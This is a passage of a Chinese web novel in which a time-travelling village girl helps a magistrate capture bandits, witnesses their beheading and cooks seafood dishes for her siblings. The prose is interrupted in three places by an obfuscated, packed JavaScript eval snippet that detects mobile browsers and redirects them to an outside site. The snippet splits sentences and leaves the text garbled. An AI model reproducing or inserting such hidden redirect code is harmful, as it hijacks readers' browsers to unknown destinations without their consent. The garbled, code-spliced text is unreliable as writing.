云楚沅连忙摆手,后退两步。 裴昱臣见状挡在她的身前,捏着嗓子矫揉造作地说道:“大当家,你怎么又相中别人了?她这干巴巴的身子有什么好的?” 大当家醉的不轻,瞧着眼前粉衣女子嗔怒的样子,心里十分受用,“我……我自然是更中意你的。”说罢,他跌跌撞撞地扑向裴昱臣,覆上他的肩膀。 云楚沅不敢再出声,而是小心翼翼地观察着四周,默默记下这些土匪的面容以及不远处巡逻队分布的位置。 据裴昱臣得到的消息,这黑水寨满打满算有五十余人,在这院中吃喝的人约莫有二十三四人,皆是寨子里的小头目。 剩下的二十人分两队在寨子的正门和后山巡逻,不远处的小队是正门放哨的那一批。 “好菜来啦!大当家您今日猎来的鹿,小的给您炖煮了。”伙夫端着一大盆鹿肉汤送了上来。 小火慢煮过的鹿肉散发着醇厚的香味,土匪们纷纷来了精神,这可是难得的珍馐,富商贵族都难得吃上一回,他们老大今日运气好,在林中寻到了一只小鹿。 伙夫拿木勺舀起一勺肉汤,先递给了大当家,炖得软烂的鹿肉在碗中摇晃,把大伙肚子里的馋虫都勾了出来。 大当家不客气地接过来,连吃两大碗,抹了把嘴,意味深长地盯着裴昱臣说道:“小美人,今夜就叫你知晓这鹿肉的好处。” 裴昱臣偏过头遮住自己扭曲厌恶的表情,心里嘲讽道,待会你就知晓这鹿肉到底怎么好了。 云楚沅滴溜溜的眼珠子不停打量着毫不起眼的伙夫,这就是裴昱臣派到黑水寨的卧底吗?当真是其貌不扬。 这些土匪欺男霸女的日子过久了,还真当自个是这临海县的土皇帝了?如此不设防,难怪他们会中招。 一炷香的时间过去,土匪们一个接一个地栽到下去,汤中的蒙汗药已然生效。 裴昱臣一把甩开大当家攀在他肩头的手掌,脸上满是厌恶之色,他扯下粉色外衫和发髻中的珠钗,丢到地上。 “大人,小人已经点燃烟火,通知山脚下的人往山上赶来。”伙夫恭敬地向裴昱臣行了一礼。 裴昱臣点头,“你留在此地接应他们,顺便将地上这些人绑起来,一同押回县衙。我去解决后山剩余的土匪。” “是!” 伙夫掏出一大把麻绳,手脚麻利地开始捆绑被药趴下的众人。 衙门里负责治安和缉捕的捕快也就三十来人,要想拿下黑水寨,不能猛攻,只能智取,因此裴昱臣才会出此下策。 裴昱臣安排了这出里应外合的计谋,他以身入局牵制住黑水寨的头目,伙夫趁机下黑手,衙役们从正门进攻,剩下的人也就不成气候了。 他冲云楚沅使了个眼色,两人一同往后山走去。 云楚沅明白他的意思,这是听过他的计划后,她主动提出来的点子。 裴昱臣独自一人对上后山的十人巡逻队,不一定能有十成的把握,她可以先引走一部分人,助他一臂之力。 想到这,云楚沅将发丝揉乱,装出一副惊慌失措的样子向后山的方向跑去。 “站住!” 脚踩在落叶上的“哗啦”声,自然瞒不过土匪们的耳朵,有五人直直追了上来,其他人守在原地。 云楚沅喘着粗气穿梭在灌木丛中,寂静的夜里“呼哧呼哧”的呼吸声清晰可闻,荆棘划过她的手臂留下青紫的伤痕。 顾不上疼痛,云楚沅心中谨记着自己的使命,只要为裴昱臣拖延时间,解决那几个人后,他就会追上了。 脚下突然出现一个树桩,云楚沅一不小心被绊倒在地,扑倒之时,她的手心划过粗糙的泥土地,顿时擦出一道道触目惊心的血痕,伤口处布满沙砾和泥土。 云楚沅强忍疼痛,从地上爬起来,一瘸一拐地继续往前走去。 受伤的她很快被身后的土匪追上,他们举着刀将她团团围住,“小妞,胆敢偷跑?小命不要了?” 其中一人更是直接将刀架到了她的脖子上。 云楚沅不禁苦笑,自穿越到古代,她一直都在面临磨难,难道她就要命丧于此了吗? 闪着寒光的刀在她白皙的脖颈印出一道血痕,她睫毛颤抖,轻轻闭上了眼睛。 “铛!”一声脆响。 林中飞来一颗小石子,弹落了那柄弯刀。 云楚沅后知后觉地睁开眼,身着白色里衣的男子从天而降,他的手中同样拿着一把弯刀。 裴昱臣一脚踢在掉了刀的土匪的胸口,将其踹倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950550|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把云楚沅护在了身后,小声说道:“云姑娘,抱歉,在下来迟了。” 云楚沅摇头一笑,“不,裴大人来的正是时候。” 距离最近的一个土匪挥刀砍来,裴昱臣抓着云楚沅的手腕险险避过。 “云姑娘,你先躲起来!” 云楚沅马不停蹄地窜到一棵树后,保证自己不会影响到他的发挥。 剩下的三个土匪看到同伴倒地不起,目眦欲裂地齐齐冲了过来。 裴昱臣身手矫健,步伐轻盈,躲过连续的劈砍过后,瞅准时机,一刀割伤一人的后腿,令他丧失行动能力,又划过另一人的腹部,使其倒地哀嚎。 最后一人见势不妙,转身想要逃跑,裴昱臣乘胜追击,手起刀落,挑断他的脚筋。 转眼间,五名土匪皆已负伤,瑟瑟发抖地连声求饶。 云楚沅见裴昱臣已经搞定了他们,这才松了口气,从树后走出来,向他施了一礼,“裴大人,您又救我一命。” “姑娘请起,你也是为了助我,这才身陷险境。”裴昱臣虚扶她的手臂,一下子注意到她破损的衣袖和滴着鲜血的手心。 “姑娘受伤了?” 裴昱臣用刀割下衣摆处的布条,正想为她包扎,又觉不妥,遂将布条递到她的手中,“姑娘先暂时止住血,待回到衙门我请大夫来为你上药。” 云楚沅接过布条随意地在手上缠了几圈,“不用了,这点小伤过几日就好了。” 裴昱臣依旧坚持道:“姑娘也算为我而伤的,倘若裴某不做表示,良心难安。” 既然他都这样说了,云楚沅只好点头应下。 两人等衙役们前来会和后,一同回到了临海县的县衙。 天色已晚,裴昱臣派人骑马去小渔村云家递了个消息,请大夫为云楚沅诊治过后,留她在县衙内宅的西厢房住了一夜。 翌日,云楚沅睁眼看到陌生的床幔,反应了一会儿,才想起自己身处何地。 她麻利地起身,洗漱收拾了一番,想着今日便要回小渔村去,离开之前,就为裴县令做一顿早膳报答昨日之事吧。 县衙的厨房内只有一名厨子,云楚沅说明来意后,厨子立马答应了她自己动手的请求。 这女子能住进县衙的后宅,指不定和大人关系匪浅,厨子自觉参透了隐秘之事,放心地离开了。 云楚沅取下一只陶制砂锅,处理好鲜虾和螃蟹,用虾头炒出虾油,开始熬粥,一刻钟后,香菇、大虾和螃蟹相继入锅,调味后撒上葱花,一锅热气腾腾、鲜甜清淡的海鲜粥就煮好了。 在书房处理公务的裴昱臣听到下人通报后,令人将门外的云楚沅请了进来。 “云姑娘,你手上伤势未愈,怎能操劳膳食之事,交给下人去做就好了。”裴昱臣赶紧起身接过她手里盛着热粥的木盘,不赞同地看向她包住的双手。 “不打紧的,裴大人帮我许多,我也想为您做点事,正巧大人爱吃我做的吃食,一碗海鲜粥实在不足挂齿。”云楚沅诚恳地说道。 裴昱臣知晓她是真心实意的,便不再多言。 轻舀一勺海鲜粥送入口中,咸鲜之味在舌尖蔓延开来,他略微点头,神色舒缓,早膳用此粥,实属妙哉。 5. 青天大老爷 剿匪之事顺利结束,裴昱臣欲将黑水寨众人斩首示众、以儆效尤,同时也是给临海县苦之久矣的百姓们一个交代。 城东的菜市口挤满了熙熙攘攘的民众,维持秩序的衙役们神色严肃,围成一圈阻挡过分靠近的百姓。 临时搭建的高台上,裴昱臣身穿深青色的官服,头戴乌纱帽,面容威严,高坐于案桌后。 两排门神一般的衙役,手持杀威棒,震慑着在场之人,四周充满肃杀之气。 临海县的百姓头一回见如此大的阵仗,很是稀奇,皆拖家带口地前来围观。 一盏茶的时间过后,铁链拖行在地上的声音从远处传来,几名土匪被五花大绑着押送了上来,他们皆是黑水寨的当家,为首的大当家满脸横肉、怒目圆睁,此刻沦为阶下囚,早已失去昔日里为非作歹时的耀武扬威。 “威——武——” 衙役们低沉的吼声响起,台下嘈杂的众人被这气势磅礴的氛围唬住,纷纷住了嘴,现场瞬间寂静下来,落针可闻。 裴昱臣抬手示意衙役将土匪押至高台中央,他目光如炬,扫视过这些恶贯满盈、被绳之以法的匪徒,心中感到畅快,为民除害是他为官的初衷。 寒窗苦读十几载,一朝考中状元郎,只是如今的朝堂不太平,皇帝年事已高,太子母族式微,以姚丞相为首的一群文官拥趸二皇子,对那九五之尊的宝座虎视眈眈。 裴昱臣不愿卷入夺嫡之争,拒绝姚党的拉拢,选择做个远离京城的地方小官,但他的雄心壮志未曾泯灭,他坚信自己即便身处偏远之地,依旧能做出一番功绩,造福一方百姓。 裴昱臣拿起罪状文书,高声宣判道:“黑水寨匪类,作恶多端,为祸一方百姓,搅得临海县不得安宁,尔等罪行罄竹难书,今日本官便令汝等伏法受诛!” 洪亮的声音,传进每一名百姓的耳朵,回荡在菜市口的各个角落,引得周围民众拍手叫好。 几个土匪面色灰败,两股战战,对着县令破口大骂,却都无法改变即将迎来的斩首之刑。 裴昱臣面色冷峻,站起身来理了理官服,从旁边县丞的手中接过刑签,用力掷于地上。 监斩官高声复述行刑的命令,刽子手高举着鬼头刀大步上前,在众目睽睽之下,喷洒上一口烈酒。 锋利无比的刀刃闪烁着寒光,土匪们见状瘫软在地,不死心地拼命挣扎,手腕被绳索磨破,被衙役死死按住。 刽子手绕着几人走了一圈,最后将目光锁定在大当家身上,他双手紧握刀柄,高高举过头顶,却又稍作停顿,凝聚力量的同时,延长这位臭名昭著的恶徒临死前的恐惧。 “咔嚓”一声脆响,刀光闪过,鲜血喷涌而出,飞溅至刽子手的脸颊,大当家人头落地,残余的身躯无力栽倒在地。 围观的百姓们虽早有预料,但仍被吓得发出阵阵惊呼,妇孺孩童更是捂住眼睛,不敢细瞧这可怖的一幕。 其余土匪吓得屁滚尿流,跪在地上不停地磕头求饶,可刽子手的刀不留情面,干脆利落地依次斩落,宛如砍瓜切菜一般轻易了结这些恶徒。 鲜血流淌在青石板上,触目惊心的一片红,缓缓蔓延至高台边缘,“啪嗒啪嗒”滴落下去,近处的百姓不由后退一步。 裴昱臣紧抿着嘴唇,转身面向台下的百姓,朗声道:“此等匪徒,罪孽深重,皆已伏诛,望诸位引以为戒,安分守己,不行恶事。若有冤屈,尽管来县衙敲响鸣冤鼓,本官定当秉公执法,为民伸冤,还临海县一片安宁!” 台下百姓闻言激动不已,纷纷跪地叩首,齐声高呼青天大老爷。 大当家的头颅被高悬在市集门口,人群散去,只余一地血迹。 街道逐渐恢复平静,裴昱臣轻叹一口气,转身走下高台,他深知这不过是为官之路的开始。 日后,还有诸多事务等他操持,临海县还有许多藏污纳垢之处,不平之事亟待有人伸张正义。 云楚沅在人群后旁观了这场刑罚,这是她第一次亲眼目睹有人死亡,冲击力不可谓不大。 同时,她也清楚这群人是罪有应得,他们手上的人命只会多不会少。 回到小渔村,云楚沅紧绷的那根弦放松下来,昨日的经历当真是惊险万分。 “阿姐!你终于回来了!” 楚河和楚清焦急地站在村口张望,海风吹起他们两个单薄的衣衫,却吹不走他们心头的担忧。 “阿姐,出了何事?昨日你怎么没回来?”云楚河面色凝重地走近,手指颤抖地抓住她的衣角。 云楚沅蹲下身子搂住两个孩子,柔声说道:“阿姐帮了县令一点小忙,没出事,你们不用担心。” 云楚河悄悄松了口气,他昨夜辗转反侧,提心吊胆,惦念着长姐是否遇上了祸事。他可不想即失去爹爹和娘亲之后,再失去阿姐。 精神不济的云楚沅回到侧屋,小憩了一会儿,身上的疲惫渐渐散去。 云楚沅坐在床榻上数着陶罐里的银子,这是前几日出海捕捞后卖了好几篓鱼虾赚来的,碎银子加起来约莫有十两。 金手指可真好用啊!云楚沅喜滋滋地想,要是多出海几趟,她都可以直接买下一间铺子了。 午时一刻,云楚沅走出房门准备做饭,灶房里已经升起了青烟,原是楚河和楚清体谅她劳累,先一步煮上了白饭。 “真乖,阿姐为你们做好吃的。” 云楚沅撸起袖子,从院中的大水缸中捞出一条不小的黄花鱼,刮鳞后去腮、去内脏,往鱼身两侧划出花刀,用姜片和黄酒腌制一会去去腥气。 她打算做一道红烧黄花鱼,一是犒劳一下辛苦多日的孩子们,二来她也想要吃顿好的压压惊。 起锅烧油,云楚沅将黄花鱼小火慢煎至两面金黄,盛出备用。 接着取出一只小碗调制灵魂酱汁,三勺酱油、一勺豉汁、一勺黄酒、一勺豆酱、半碗清水,再加少许糖。 这些调料是云楚沅走遍临海县酱坊和调料市买来的,每一样都是精心挑选过的。 古代的调味品和现代有所不同,酱油也没有老抽和生抽之分,云楚沅凭借多年下厨的经验,做出菜品的味道与从前有九分像。 锅中的底油加蒜末爆香,倒入黄花鱼和酱汁炖煮一刻钟,待汤汁浓稠便可出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950551|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅,最后再撒一把葱花增香。 云楚河和云楚清兄妹二人轻嗅着空气中的鱼香味,对着灶房的方向望眼欲穿。 阿姐的手艺愈发好了,也许就连湘香馆的饭菜都比不上他们长姐做的,虽然他们不曾去过那家县里有名的饭馆,但在二人心中,自家阿姐的厨艺是无人能及的。 “开饭了。” 红烧黄花鱼放在木桌的最中间,旁边还有一道凉拌海带丝做配菜。 三人拿起筷子,不约而同地伸向中间的红烧鱼。 云楚河瞅准鱼腹,夹了一块嫩鱼肉,绵软的鱼肉在嘴里化开,咸甜的酱汁在舌尖流转,他咂摸着嘴,表情沉醉地说道:“阿姐,这是我吃过最好吃的鱼。” 一旁的云楚清挑了鱼背的位置下筷,鱼肉连着鱼皮一起被扯下,鱼肉鲜嫩,鱼皮滑腻,两者一同入口,宛如一团嫩豆腐滑入喉咙,吃得小姑娘的双眼骤然放光。 黄花鱼吃得干净,只剩下一根主骨,两人又将汤汁倒入碗中伴着白饭吃,这浓郁的酱汁特别下饭。 一直无人问津的凉拌海带丝这才有人动筷,清脆爽口、酸酸辣辣的味道让人眼前一亮。 焯过水的海带丝去除了原本的腥味,醋、蒜末、茱萸是其中不可或缺的调料,一点糖提鲜,一勺酱油增味,酸辣甜咸,滋味丰富。 吃饱喝足的三人走出家门沿着海边漫步,午时的海岸风景宜人,金色的光撒在广袤无垠的海面上,宛如一幅色调柔和的画卷,赤脚行走在沙滩,浪花拍在脚背上驱散些许燥热。 “楚沅,带清清他们出来玩呀?” 云楚沅听到有人叫她,回头望去,来人是隔壁钱家的小女儿春香。 “春香姐,好巧啊。” 春香腼腆一笑,从手里提着的桶里拿出两串贝壳手链递给她和云楚清。 “这是我自己编的,送给你们。” 每一枚贝壳都十分精美,有圆形的、扇形的、有螺旋状的,外壳光滑,泛着珠光,在阳光的照射下熠熠生辉。 云楚沅戴到腕间轻轻晃动,相互碰撞的贝壳发出清脆悦耳的声响。 “春香姐,你的手真巧。”云楚沅笑着说道。 云楚清赞同地点头,“春香姐姐绣工也好,做的荷包可好看了。” 少女不好意思道:“你们喜欢就好。”说完她就转身离开了。 看着钱春香离开的背影,云楚沅的脑海里回忆起与她相关的事。 钱春香年长云楚沅三岁,为人勤劳朴实,是个热心肠的好姑娘,偏偏在婚事上屡屡碰壁。 她订过两门亲事,前头那个染上一场风寒去了,后头那位出海时船翻溺亡。 自此以后,十里八乡的媒人都对她避之不及,有些碎嘴子的妇人给她冠上了一个克夫的名声。 云楚沅叹了口气,不禁替她感到不平,女子在这世道活得艰难,世人对女子的要求极其苛刻。 两个未婚夫婿的死明明和钱春香没有丝毫关系,可就是有愚昧无知之人喜欢把莫须有的罪名强加到女子身上。 云楚沅想着,以后有机会,一定要帮衬春香姐一把。 6. 海蛎子 二月中旬,天朗气清,恰逢退大潮,海岸边露出一大片滩涂,隐匿在深处的礁石群也显现出来。 云楚沅带着弟妹出来赶海,脚踩湿润的细沙,留下一串深深的脚印,又很快被涌上来的浪花抚平。 嶙峋的礁石形状奇特,趴伏在岸边,犹如大海忠实的守望者,上面遍布贝类和藻类。 小渔村的渔民四散在各处,穿梭在礁石群间,避开石头尖锐的棱角,寻找着躲藏在石缝中的海鲜。 吸附在礁石上密密麻麻的青灰色身影很是眼熟,云楚沅走进一瞧,十分惊喜,这不是海蛎子吗? 海蛎的外壳纹理粗糙,边缘是微微的卷边,用力撬开外壳,露出里面肥美饱满的海蛎肉。 云楚沅简单清洗处理过后,迫不及待地塞了一只海蛎肉进嘴,生吃海蛎最大程度地保留了它原汁原味的鲜甜,口感细腻爽滑,十分弹牙,这一口下去,甚是满足。 “楚河、楚清,这些牡蛎个头大,咱们多挖一些,回家我给你们做好吃的!”云楚沅兴致勃勃地说道。 两个孩子闻言眼神一亮,顿时打起了精神,手上的动作加快了不少。 云家姐弟一人提着一个竹篓,步履匆匆地往家赶,路上遇到同村的村民,打招呼都带着几分敷衍,他们三人的心思早就飞到了今日要吃的牡蛎大餐上了。 归家后,云楚沅指挥着两个弟妹接来两大盆水。 “哗啦哗啦!” 海蛎子全被倒入木盆中,云楚沅取来柳枝刷子用力刷着,洗去海蛎子表面的泥沙污垢,渐渐地,水面泛起一圈圈浑浊的涟漪。 洗净的海蛎子捞出,放置在案板上,云楚沅拿起一把锋利的小刀,将刀尖对准硬壳较宽的那一侧,插入缝隙之中,慢慢转动刀柄,动作小心地贴着壳刮一圈,避免破坏里面的海蛎肉。 “咯嘣”一声,坚硬的外壳被撬开,鲜嫩的海蛎肉静静躺在其间,夹杂着些许海水和沙砾。 用清水冲洗一下残留的泥沙,接着处理海蛎肉上的内脏和黑色的脏东西,云楚沅对此十分娴熟。 “咚咚咚!”厨房传来清脆的声响,云楚河按照阿姐的吩咐剥了几头蒜,又用石臼将十几颗茱萸捣碎。 云楚沅走进来后,将桌上的蒜瓣用刀背拍碎碾压,蒜末如细沙一般散在案板上。 一旁的云楚清蹲在灶台前帮忙烧火添柴,猪油在烧热的铁锅中滋滋作响,云楚沅将蒜末和茱萸碎倒入其中。 “滋啦”一声,蒜香混合着辣味如同一股无形的浪潮扑面而来,迅速在灶房中弥漫开来。 锅中雪白的蒜泥变得金黄,云楚沅估摸着加入酱油、豉汁、盐、糖,继续翻炒。 云楚沅特意多做一些蒜蓉酱,装满了一个小陶罐,这用油熬制的蒜蓉酱比较耐存放,而且用来拌饭、拌面、做蘸料都是极好的。 她把海蛎子摆放出来,再将精心熬制的蒜蓉酱浇在上头,饱满白净的海蛎肉,在金黄的蒜蓉酱的映衬下,显得格外诱人。 最后将海蛎送入蒸笼,不一会儿,朦胧的雾气升起,伴随着海蛎与蒜蓉相融合,散发出让人垂涎欲滴的香气。 云楚沅给翘首以盼的楚河和楚清一人分了一只,两人顾不上烫,急切地将其倒入嘴中。 “呼呼!”两人用手在嘴边扇着风,轻咬着肥美多汁的蒜蓉海蛎。 云楚沅摇头失笑,从面粉罐舀出一勺面,准备做海蛎煎饼。 面粉加入鸡蛋、水和盐,调成略微粘稠的丝滑面糊,包裹住海蛎肉。 油热后,一勺勺带着海蛎的面糊下锅,小火慢煎,面糊渐渐凝固,慢慢出现金黄的焦边,随即翻面,待煎至两面金黄,外酥里嫩的海蛎煎饼就做好了。 云楚沅又从竹篓底部掏出一团宛如深褐色头发的海发菜。 海发菜又名龙须菜,每次赶海,都能看见许多飘在海岸边,它的口感很脆,咀嚼起来能听到“咯吱咯吱”的声音。 发菜与发财同音,寓意很好,是海边渔民们常吃的一种海藻,可以凉拌,或是清炒,还能煲汤。 云楚沅当下就打算用它做一道发菜海蛎汤,既有发菜的爽口,又有海蛎的滑嫩。 烧开的热水,加入姜片、豆腐和海发菜,裹粉的海蛎肉倒入锅中,最后加盐和葱花。 这道汤呈现出淡淡的奶白色,用勺子轻轻搅动,纤细如丝的发菜在汤里飘荡,海蛎如同一颗颗珍珠点缀其中。 云楚沅从柜子里取出两只陶碗,盛了一碗发菜海蛎汤,另一个碗又装了些海蛎煎饼和蒜蓉海蛎。 “你们两个先吃吧,我去给春香姐送两份吃食,她教会楚清做针线活,上次还赠我们贝壳手链,我还未曾答谢过人家。”云楚沅一边说着,一边往院子外走去。 “阿姐,我等你回来吃。” “我也是。” 云楚河和云楚清乖乖地坐在木凳上,并未动筷。 “那我尽快回来。”云楚沅冲他们笑了笑。 “叩叩叩。” 云楚沅站在距离她家十几米远的石砌房屋外敲门。 “吱呀”一声,木门从里面打开,走出来一位面相和善、身材矮小的妇人,正是钱婶,她出声问道:“楚沅,有什么事?” “钱婶,春香姐在吗?这是我做的吃食,想感谢春香姐对我们家楚清的照顾。”云楚沅笑眯眯地说道,将手中端着的碗递到钱婶跟前。 院子里听到说话声的春香走了出来,脸颊微红,“楚沅,你无需客气,这只是小事一桩。云姨以前对我也很好,楚清还年幼,我多关照她是应当的。” “是啊,楚沅,不用如此见外。”钱婶也赶紧回道。 云楚沅对此并不同意:“礼尚往来,若是只有你一人付出,我们却理所应当地欣然接受,那我们云家人岂不成了白白占便宜的小人了吗?” 正在她们互相推托之际,一道鬼鬼祟祟的身影从门后探了出来。 “哟,这不是楚沅吗?给我们家送东西来了?” 说话之人是钱家的儿媳林秀秀,她一脸精明,眼珠子不安分地四处瞅着,笑盈盈地跨步上前,挤开钱婶和钱春香,接过了云楚沅手中的碗。 “娘,小妹,难得人家楚沅送东西给我们,怎么能不收下呢?岂不是辜负了人家一片心意。” 林秀秀斜了钱春香一样,阴阳怪气地说道:“有些人成日吃家里的、用家里的,都不知往家里带些东西,真是不知羞愧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950552|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钱春香的脸色一下子变得苍白,一下子又涨得通红,低垂着头,不再言语。 钱婶的脸色也很难看,白了林秀秀一眼,“我们钱家还轮不到你做主,我的东西想给谁就给谁,你不乐意,就滚回娘家去住。” 林秀秀的娘家在隔壁的边海村,她家里是出了名的重男轻女,林母连生六个姑娘才得了个宝贝儿子,自然不在意女儿们的死活。 排行老四的林秀秀有点小聪明,知道为自己打算,早早巴上了钱家独子,要死要活的非他不嫁,这才脱离苦海。 林秀秀不敢再跟婆婆呛声,转头又对着云楚沅说道:“楚沅啊,我听说你在县城卖吃食赚了不少银子,可不要忘了我们这些同乡啊,也教教我们怎么做生意呗。” 林秀秀此人不算大奸大恶之辈,就是喜欢攀比,总是盯着别人家的事。 云楚沅面上的笑容没有丝毫变化,不紧不慢道:“钱家嫂子,我这手艺跟我娘学的,算是她留下的遗产,我怎能随意交付给外人呢?” 林秀秀噎了噎,没想到平日里说话细声细语的云家小姑娘还有这般牙尖嘴利的时候,竟搬出死人来膈应她,这死了爹娘之后,真是没了教养。 不等林秀秀将这话说出口,钱婶对她呵斥道:“你还要不要脸?怎好意思讨要别人家谋生的秘方?改日我去林家问问,你老娘是不是只管生不管养,才会教出你这样没脑子的货色!” 林秀秀撇撇嘴,小声嘟囔道:“就会拿我娘家人说事。” 钱婶推了她一把,怒道:“赶紧进去做饭,别在这给我们老钱家丢人现眼了,我儿子娶了你真是倒了八辈子血霉!” 林秀秀不情不愿地端着两碗菜回去了。 钱婶握住云楚沅的手,歉意地说道:“楚沅,别理那个拎不清的婆娘,我们钱家是本分人,断然不会觊觎你手里的吃食方子。” 愧疚的钱春香着急地解释:“楚沅,我从来没有这样的想法,我嫂子说的糊涂话你不要放在心上。” 云楚沅心里清楚是怎么回事,她爹娘生前就和钱家走得近,自然提起过他们的为人。 他们一家都是勤勤恳恳的老实人,就算儿媳妇是个搅家精,有二老压在头上,也翻不出什么风浪来。 即便相信她们的为人,云楚沅也不会在面上表现出来,毕竟,防人之心不可无。 “钱婶,春香姐,我知道钱嫂子就是嘴上说说,当不得真。” 顿了片刻,云楚沅煞有其事地说道:“实不相瞒,这配方是我们云家祖传的,向来只传女不传男,外人要想学,得做我们云家的媳妇。” 接着,她又装作一副惋惜的样子,叹了口气,“唉,可惜啊,钱嫂子生不逢时,和我们家楚河年纪相差太大,差了点缘分。可谓是,君生我未生,我生君已老呀。” 这番夸张又荒唐的话术砸下来,唬得钱婶和钱春香一愣一愣的,两人信以为真。 “这这这,原是如此。村里还有几个懒婆娘在背后说你忘恩负义,我回头定要和她们好好说道说道。” 云楚沅挑了挑眉,看来眼红她的人还不少啊。 可那又怎样?谁叫她有本事呢,以后她们嫉妒的日子多了去了。 7. 自制蚝油 “阿姐,你这是做什么呢?”梳着双丫髻的小丫头好奇地眨着灵动的双眸。 经过这段时日吃食上的花样百出,云楚沅将两个孩子喂养得圆润了不少,他们不再像刚见面时那样瘦小。 云楚沅轻捏了一样云楚清长了肉的脸蛋,笑着说道:“阿姐在做一种酱料。” 剩余的海蛎还有不少,云楚沅打算做一些蚝油。 蚝油是用牡蛎熬制而成的,味道极鲜,是云楚沅做菜时不可或缺的一味调料,炒菜时加一点蚝油,可以让原本寡淡的菜肴增添更多风味。 云楚沅把海蛎肉放入锅中,小火慢熬,肉质逐渐收缩,汁液慢慢释放出来,乳白的汤汁像是大海浓缩的精华,散发着淡淡的鲜甜味。 熬制海蛎汁的过程需要十足的耐心,云楚沅全程专注地守在灶台前,时不时地用勺子搅拌,避免其粘锅。 “阿姐,我来替你。” 云楚清看着她已经站了有一刻钟,期间重复做着搅拌的动作,担心长姐受累,她自告奋勇,接过了云楚沅手中的大勺子。 “清儿真贴心。”云楚沅对小妹的关怀十分受用,搬来小板凳坐在一旁,轻轻揉捏着酸胀的手臂,这熬酱料可真是个体力活。 “对了,楚河跑哪去了?” 院子里很安静,往日里小弟都要照看水缸里养的鱼虾,今日倒是没听到他的动静。 云楚清一边认真地搅动,一边回道:“哥哥跟着阿汤哥去近海处捞毛虾去了。” 毛虾体型扁小,壳薄肉少,煮熟晒干后便是虾皮,毛虾还是做虾酱的原料。 云楚沅来了兴趣,待小弟回来,她又有事做了,住在海边,就是没有闲着的时候。 “楚河何时与阿汤哥走得这么近了?” 她们口中的阿汤哥是住在村尾的青年,他爹是逃荒来的,娶了小渔村的孤女,在此落户定居。 只是阿汤他爹身子骨不好,她娘难产落下了病根,待他五岁时,爹娘先后撒手人寰,只留他一人艰难度日。 阿汤从小就沉默寡言,和村里人不亲近,还有不懂事的孩子见着他就朝他扔石头,笑话他是个扫把星,克死了爹娘。 如今他都年过二十五了,仍旧独身一人,没有亲属为他张罗,他自个也不放在心上。 云楚沅实在好奇,这样孤僻的一个人,怎么和她家小弟扯上了关系。 云楚清欲言又止地看了她一眼,犹豫道:“阿姐,我说了你可别气。” “说吧,什么事还要瞒着我呀?” 云楚清吞吞吐吐道:“咱爹娘刚过世,阿姐你躺在床榻上昏迷不醒的那几日,我和哥哥一出门就被人指指点点,村里的小孩和哥哥起了冲突,是路过的阿汤哥拦住了他们。” 云楚清一想到那群小孩恶毒的话,就双眼发红,他们说她爹娘命薄,接不住龙凤胎的福气,还说她与哥哥不是福报是孽报。 “阿汤哥人可好了,经常悄悄给我们递糖吃。” 云楚沅听了小妹的话,恨得咬牙切齿,谁这么缺德,专戳别人的痛处,“清儿,告诉阿姐,是谁家的小孩欺负你们。” 云楚清偷瞧了一眼阿姐难看的脸色,小声说道:“是刘家的。” 怪不得,她就说谁家的孩子嘴这么毒,原是刘家的三兄弟! 刘家婶子和她娘同日生产,她一下子生了三个大胖小子,可不就腰板挺直,鼻孔朝天,在村子里横着走。 结果村里的人看不惯她这副德行,纷纷夸赞云家好福气,添了一对龙凤胎,一句龙凤呈祥堵住了刘家婆娘的嘴,掐灭了她的气焰。 自此以后,刘家婶子就单方面和他们云家结下了梁子,处处找茬。 这回定是她嘴上没个把门,在家里说他们家的坏话,叫三个小子学了去,这才跑到楚河和楚清面前说这些难听话。 “砰!” 云楚沅重重地拍了一下桌面,怒道:“刘家人竟如此没有教养,等着瞧吧,他们早晚会遭报应。我倒想知,这般泼皮长大了会有什么出息!” 从古至今,溺爱孩子可没有好下场,他们无不是长成自私自利、不知感恩之人,这刘家的好日子还在后头呢。 “哼,阿姐定要给他们点教训。” 云楚沅站起身,接过小妹手中的勺子,叫她坐下歇歇。 一个时辰后,汤汁变得浓稠,颜色也成了深褐色。 而后,加入盐、糖、酱油调味,既能提升鲜味,又不会盖住牡蛎本身的风味。 接下来就是进行二次浓缩,云楚沅把海蛎肉捞出,将汤汁用纱布过滤,再加清水稀释,继续熬煮至黏稠。 云楚沅舀出几勺淀粉,加水调成水淀粉,缓缓将其倒入锅中,边倒边快速搅动。 淀粉起到了粘合作用,让原本稀薄的汤汁渐渐变得浓稠,有了蚝油的质感。 经过数个时辰的慢熬,海蛎汁变得色泽红亮,浓稠似蜜,宛如凝固的琥珀,散发着诱人的光泽。 这是云楚沅头一回自己动手做蚝油,看样子很成功。 